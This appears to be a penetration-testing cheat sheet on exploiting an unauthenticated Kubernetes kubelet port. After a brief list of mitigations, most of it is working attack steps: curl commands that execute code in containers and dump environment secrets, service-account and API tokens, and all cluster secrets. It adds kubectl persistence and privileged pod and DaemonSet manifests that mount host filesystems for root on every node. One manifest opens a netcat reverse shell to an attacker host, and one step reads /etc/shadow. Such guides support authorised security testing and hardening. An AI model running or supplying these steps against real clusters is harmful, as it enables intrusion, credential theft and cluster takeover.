Kubelet Exploit
- Everybody who has access to the kubelet port (
10250
), even without a certificate, can execute any command inside the container - Workaround:
- The kubelet service should be run with
--anonymous-auth=false
- The service should be segregated at the network level (or force it to listen only localhost
--address=127.0.0.1
) - Force kube-apiserver to use SSH instead of HTTPS (
--ssh-keyfile=path/to/id_rsa
,--ssh-user=kube
) - All Service Accounts have the least privileges needed for their tasks
- The kubelet service should be run with
Test Command Execution¶
List of all pods and containers scheduled¶
$ curl -sk https://WORKER:10250/pods/ | python -mjson.tool
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "tiller-797d1b1234-gb6qt", <-- PODNAME
"generateName": "tiller-797d1b1234-",
"namespace": "kube-system", <-- NAMESPACE
...
"spec": {
"containers": [
{
"name": "tiller", <-- CONTAINERNAME
"image": "x/tiller:2.5.1",
"ports": [
{
"name": "tiller",
"containerPort": 44134,
"protocol": "TCP"
}
],
"serviceAccountName": "tiller",
"serviceAccount": "tiller",
...
},
...
]
}
Run command (python)¶
-
Install kubelet-anon-rce:
$ git clone https://github.com/serain/kubelet-anon-rce.git $ cd kubelet-anon-exec $ PIPENV_VENV_IN_PROJECT=true pipenv --python /usr/bin/python3 install --skip-lock $ pipenv shell
-
Start stream with curl:
$ curl -Gks https://worker:10250/exec/{namespace}/{podname}/{containername} \ -d 'input=1' -d 'output=1' -d 'tty=1' \ -d 'command=ls' -d 'command=/' $ curl -Gks https://worker:10250/exec/kube-system/tiller-797d1b1234-gb6qt/tiller \ -d 'input=1' -d 'output=1' -d 'tty=1' \ -d 'command=ls' -d 'command=/'
-
Open with kubelet-anon-rce:
$ python3 kubelet-anon-rce.py \ --node <WORKER> \ --namespace <NAMESPACE> \ --pod <PODNAME> \ --container <CONTAINERNAME> \ --exec "ls /" $ python3 kubelet-anon-rce.py \ --node worker \ --namespace kube-system \ --pod tiller-797d1b1234-gb6qt \ --container tiller \ --exec "ls /"
Run command (wscat)¶
-
Install wscat:
$ apt-get update $ apt-get install -y npm $ ln -s /usr/bin/nodejs /usr/bin/node $ npm install -g n n stable $ npm install -g wscat
-
Start stream with curl:
$ curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://WORKER:10250/exec/<namespace>/<podname>/<container-name>?input=1&output=1&tty=1&command=ls" # That should return a 302 response with a redirect to a stream you can open < HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT
-
Open stream with wscat:
$ wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check
Get access to the API server¶
Dump secrets from environment variables¶
$ curl -k -XPOST "https://WORKER:10250/run/<NAMESPACE>/<PODNAME>/<CONTAINERNAME>" -d "cmd=env"
$ curl -k -XPOST "https://WORKER:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=env"
Obtain ServiceAccount Token¶
The token for the "tiller" Service Account can be retrieved by using the kubelet API /exec endpoint to print it out:
$ python3 kubelet-anon-rce.py \
--node <WORKER> \
--namespace <NAMESPACE> \
--pod <PODNAME> \
--container <CONTAINERNAME> \
--exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
$ python3 kubelet-anon-rce.py \
--node worker \
--namespace kube-system \
--pod tiller-797d1b1234-gb6qt \
--container tiller \
--exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
Or if it's not in default location¶
-
List processes running on the API server, so to get the path of the token file that Kubernetes uses to authenticate access to the API:
$ curl -k -XPOST "https://WORKER:10250/run/kube-system/kube-apiserver-kube/kube-apiserver" -d "cmd=ps -ef" PID USER TIME COMMAND 1 root 2:29 /usr/local/bin/kube-apiserver --v=4 --insecure-bind-address=127.0.0.1 --etcd-servers=http://127.0.0.1:2379 --admission-control=... --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=443 --allow-privileged --etcd-servers=http://127.0.0.1:2379
-
Cat that file and get the token which is the first field listed:
$ curl -k -XPOST "https://WORKER:10250/run/kube-system/kube-apiserver-kube/kube-apiserver" -d "cmd=cat /etc/kubernetes/pki/tokens.csv" #password, user, uid, "group1,group2,group3" d65ba5f070e714ab,kubeadm-node-csr,9738242e-8681-11e6-b5b4-000c29d33879,system:kubelet-bootstrap
Auth to the API server and access all secrets¶
-
Using kubectl:
$ kubectl --insecure-skip-tls-verify=true \ --server="https://master:6443" \ --token="<TOKEN>" \ get secrets --all-namespaces -o json
-
Using curl:
$ curl -ks -H "Authorization: Bearer <TOKEN>" \ https://master:6443/api/v1/namespaces/{namespace}/secrets
Access the nodes¶
Persist with kubectl¶
- Persist with kubectl, by downloading it and pointing it at the cluster:
$ wget https://storage.googleapis.com/kubernetes-release/release/v1.4.0/bin/linux/amd64/kubectl $ chmod +x kubectl $ ./kubectl config set-cluster test --server=https://MASTER $ ./kubectl config set-credentials cluster-admin --token=<TOKEN>
Create deployment to mount a node's filesystem¶
- Access to an underlying node's filesystem can be obtained by mounting the node's root directory into a container deployed in a pod
- The following deployment (
node-access.yaml
) mounts the host node's filesystem to /host in a container that spawns a reverse shell back to an attackerapiVersion: v1 kind: Pod metadata: name: test spec: containers: - name: busybox image: busybox:1.29.2 command: ["/bin/sh"] args: ["-c", "nc attacker 4444 -e /bin/sh"] volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: # directory location on host path: / type: Directory
Deploy¶
$ kubectl --insecure-skip-tls-verify=true \
--server="https://master:6443" \
--token="<TOKEN>" \
create -f node-access.yaml
Run commands¶
- In addition to the shell, you can also run commands directly on the container
- We can run a command to cat out the
/etc/shadow
file of the underlying node:$ ./kubectl exec test-pd -c test-container cat /test-pd/shadow
- From there it’s just a bit of password cracking needed and we get shell access to the underlying node
Particular Scheduling¶
Schedule on Master node¶
kind: Pod
metadata:
name: socat
spec:
tolerations:
- key: "node-role.kubernetes.io/master"
effect: NoSchedule
nodeSelector:
node-role.kubernetes.io/master: ""
containers:
- name: socat
image: alpine/socat
args: ["tcp4-listen:80,fork,reuseaddr", "tcp4:169.254.169.254:80"]
Get root on host (random node)¶
- YAML to demonstrate the risks of allowing users to create pods on your cluster, without PodSecurityPolicy setup
- It creates a privileged container based on the
busybox
image and sets it in an endless loop, waiting for a connection, whilst also setting up the appropriate security flags to make the pod privileged, and also mounting the root directory of the underlying host into/host
apiVersion: v1 kind: Pod metadata: name: noderootpod labels: spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: noderootpod image: busybox securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: /
- Schedule & get shell:
kubectl create -f noderoot.yml kubectl exec -it noderootpod chroot /host
Get root on all nodes¶
-
To get root shells on all the nodes, what you need is a DaemonSet, which will schedule a Pod onto every node in the cluster
apiVersion: apps/v1 kind: DaemonSet metadata: name: noderootpod labels: spec: selector: matchLabels: name: noderootdaemon template: metadata: labels: name: noderootdaemon spec: tolerations: - key: node-role.kubernetes.io/master effect: NoSchedule hostNetwork: true hostPID: true hostIPC: true containers: - name: noderootpod image: busybox securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: /
-
Once that's run just do a
kubectl get po
to see your list of pods to choose from - Run the same
chroot /host
command on one to get that root on the host